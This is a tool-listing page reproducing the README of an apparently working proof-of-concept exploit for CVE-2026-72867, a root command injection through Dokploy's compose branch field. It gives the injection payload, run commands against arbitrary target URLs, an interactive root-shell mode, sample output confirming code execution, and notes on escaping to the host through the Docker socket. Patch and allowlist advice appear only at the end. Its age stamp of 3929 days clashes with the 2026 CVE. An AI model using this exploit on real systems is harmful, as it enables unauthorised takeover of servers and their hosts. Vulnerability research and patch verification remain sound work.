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CVE-2026-72867 — Working, stdlib-only PoC. A low-privileged authenticated user stores a shell palistener | Kitploit
Tools/GitHubGitHub/lulztigre/cve-2026-72867
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublulztigre/cve-2026-72867

CVE-2026-72867

Working, stdlib-only PoC. A low-privileged authenticated user stores a shell palistener

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3929 days agoNot yet reviewed
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CVE-2026-72867 — Dokploy compose branch command injection

Working, stdlib-only PoC. A low-privileged authenticated user stores a shell payload in a compose branch field (compose.update), queues a deploy (compose.deploy), and reads the command output back from the deployment log (deployment.readLogs). No listener, no egress, no dependencies.

  • Affected: Dokploy <= 0.29.12 (dokploy/dokploy:v0.29.12 tested)
  • Fixed: 0.29.13, commit 47347ab (see FIX-72867.patch)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9, CWE-78)
  • Write-up: https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html

How it works

  1. compose.update stores customGitBranch as an unbounded string. No charset, length, or metacharacter check at the schema or service layer.
  2. compose.deploy interpolates the stored value unquoted into git clone --branch ${customGitBranch} ..., executed via /bin/sh -c as root. Payload main;echo MARK-u$(id -u)-$(id -un)-h$(hostname);echo breaks out of the clone; the trailing echo keeps the enclosing if ! ... ; then block syntactically valid.
  3. Deploy output is written to a per-deployment log file readable through deployment.readLogs, so the same session reads the proof back. The detector only accepts the expanded marker (uid substituted), which a patched build never produces.

On default installs the app container mounts the Docker daemon socket read-write, so container root is host root.

Usage

python poc-cve-2026-72867.py --url http://localhost:3000
python poc-cve-2026-72867.py --url https://target:3000 --mode signin \
    --email [email protected] --password '...' --insecure
FlagDefaultNotes
--urlhttp://localhost:3000target base URL
--email / --password[email protected] / PocPassword123!used for signup or signin
--modeautosignup (fresh install, first user = owner), signin, or auto (try signup, fall back to signin)
--timeout240seconds to wait for the deployment to finish
--insecureoffskip TLS verification (self-signed targets)
--shelloffinteractive shell instead of the one-shot check

Exit code 0 means RCE proven (expanded marker in the log). Anything else means it failed; the output says which step did.

Sample run against dokploy/dokploy:v0.29.12:

[*] target: http://localhost:3000  marker: DOKPLOY72867-r7rood2u
[*] target up (settings.health ok)
[+] signed up (fresh install, owner session)
[+] project TNILHbkFJyaz6TWMYmfFt env m0025DBBnAc-DMu2K_R-6
[+] compose y_MUIhtDpIQt5zZ5zZTSY
[+] evil branch persisted via compose.update (no server-side validation)
[*] deploy queued, polling deployments...
[*] deployment S32sAXUlR35d7cB0fUedY status=error
======================================================================
RESULT: RCE CONFIRMED
  log: DOKPLOY72867-r7rood2u-u0-root-h17fb7458580a

Notes:

  • The deployment ends in error state. That is expected: the clone fails after the payload has already run.
  • Against a patched build the script reports NO EXECUTION (marker present but unexpanded) and exits 1. The raw branch text still appears in git's error output; only uid substitution counts as execution.
  • The script leaves its project/compose behind for forensics. Delete them from the dashboard when done.

Interactive shell

python poc-cve-2026-72867.py --url http://localhost:3000 --shell
sh:0$ id
uid=0(root) gid=0(root) groups=0(root)
sh:1$ whoami
root
sh:2$ echo SHELLMARKER-12345
SHELLMARKER-12345
sh:3$ exit

Each command is stored as a branch payload with fresh random markers, deployed, and read back from the deployment log: about 3 seconds per command against the local lab, one deploy cycle each. Every command runs in a fresh root shell: cd and env changes don't persist between commands. Chain with ; or use absolute paths instead. exit quits.

Lab setup

The published image, not a source build:

  • dokploy-pg: postgres:15 (user/db dokploy)
  • dokploy-redis: redis:7
  • dokploy-app: dokploy/dokploy:v0.29.12 (4.26 GB pull), -p 3000:3000, /var/run/docker.sock mounted read-write (as the official installer does), env: DATABASE_URL (host must be the pg container name), REDIS_HOST, BETTER_AUTH_SECRET, PORT=3000, NODE_ENV=production

Prerequisites the installer normally provides:

  1. docker swarm init (database deploys fail without a swarm manager)
  2. docker network create --driver overlay --attachable dokploy-network
  3. DATABASE_URL hostname must equal the postgres container name, not localhost (wrong hostname hangs the boot in wait-for-postgres)

Caveat: on Docker Desktop the socket escape lands in the Desktop Linux VM, the exact analogue of host root on real Linux installs.

Remediation

Upgrade to >= 0.29.13. Defense in depth: add a branch-name allowlist at the schema edge (^[A-Za-z0-9._/\-]+$ with a length cap) so stored values stay safe even if a future caller builds a new command line.

Disclaimer

Authorized testing only. Run against systems you own or have written permission to test. The author is not responsible for misuse.

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